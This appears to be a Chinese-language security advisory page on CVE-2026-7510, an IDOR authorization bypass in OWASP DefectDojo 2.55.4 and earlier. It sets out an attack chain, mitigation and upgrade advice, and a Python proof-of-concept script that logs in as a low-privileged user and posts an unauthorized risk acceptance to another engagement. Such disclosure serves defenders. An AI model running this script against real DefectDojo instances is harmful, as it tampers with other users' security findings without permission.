IPBUF安全漏洞报告
English
CVE-2026-7510 CVSS 6.3 中危

CVE-2026-7510 OWASP DefectDojo授权绕过漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-7510
漏洞类型
权限绕过 (IDOR)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OWASP DefectDojo

相关标签

权限绕过IDOROWASP DefectDojoCVE-2026-7510Authorization Bypass

漏洞概述

OWASP DefectDojo在2.55.4及之前版本中存在授权绕过漏洞。该漏洞影响Benchmark、Engagement、Product和Survey组件。由于缺乏严格的访问控制验证,低权限攻击者可通过操纵请求参数远程绕过授权,访问或修改受限数据。该漏洞利用难度低且已公开,官方已发布2.56.0版本修复此问题,建议尽快升级。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)类型。在受影响版本中,DefectDojo在处理Benchmark、Engagement、Product或Survey等组件的相关请求时,后端未充分校验当前登录用户对请求参数中指定资源ID的操作权限。攻击者只需拥有低权限账户,即可通过篡改HTTP请求中的ID参数(如engagement_id或raid_id),访问或修改本无权操作的敏感数据。这种逻辑缺陷导致系统访问控制机制失效,攻击者无需复杂的攻击手段即可远程利用,造成信息泄露或数据完整性破坏。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统使用的是OWASP DefectDojo,且版本低于2.56.0。
STEP 2
获取低权限账号
攻击者注册或获取一个普通的低权限用户账号(PR:L)。
STEP 3
构造恶意请求
攻击者分析API请求,锁定Benchmark/Engagement等组件接口,并篡改请求中的资源ID(IDOR)。
STEP 4
执行授权绕过
攻击者发送篡改后的请求,由于后端未校验资源归属权,直接执行未授权操作。
STEP 5
达成攻击目的
成功获取敏感信息或修改关键业务数据(如接受风险、修改测试结果)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://example.com/api/v2/engagements" login_url = "http://example.com/api/v2/auth" # Attacker's low-privileged credentials credentials = { "username": "low_priv_user", "password": "password123" } def exploit(): session = requests.Session() # Step 1: Authenticate as low-privileged user print("[+] Logging in as low-privileged user...") auth_resp = session.post(login_url, json=credentials) if auth_resp.status_code != 200: print("[-] Login failed") return print("[+] Login successful") # Step 2: Attempt to access/modify a restricted resource (e.g., Engagement ID 100) # The vulnerability allows bypassing authorization checks on this endpoint target_id = 100 # ID belonging to another user or restricted context exploit_endpoint = f"{target_url}/{target_id}/accept_risk/" payload = { "accepted": True, "note": "Unauthorized risk acceptance via IDOR" } print(f"[+] Sending exploit request to {exploit_endpoint}...") exploit_resp = session.post(exploit_endpoint, json=payload) if exploit_resp.status_code == 200 or exploit_resp.status_code == 201: print(f"[!] Exploit successful! Authorization bypassed.") print(f"[+] Response: {exploit_resp.text}") else: print(f"[-] Exploit failed. Status code: {exploit_resp.status_code}") if __name__ == "__main__": exploit()

影响范围

OWASP DefectDojo <= 2.55.4

防御指南

临时缓解措施
如果无法立即升级,建议在应用网关层面实施严格的访问控制策略,限制对API端点的直接访问,并加强对用户操作的日志审计,特别是针对Engagement和Survey组件的修改请求,以便及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表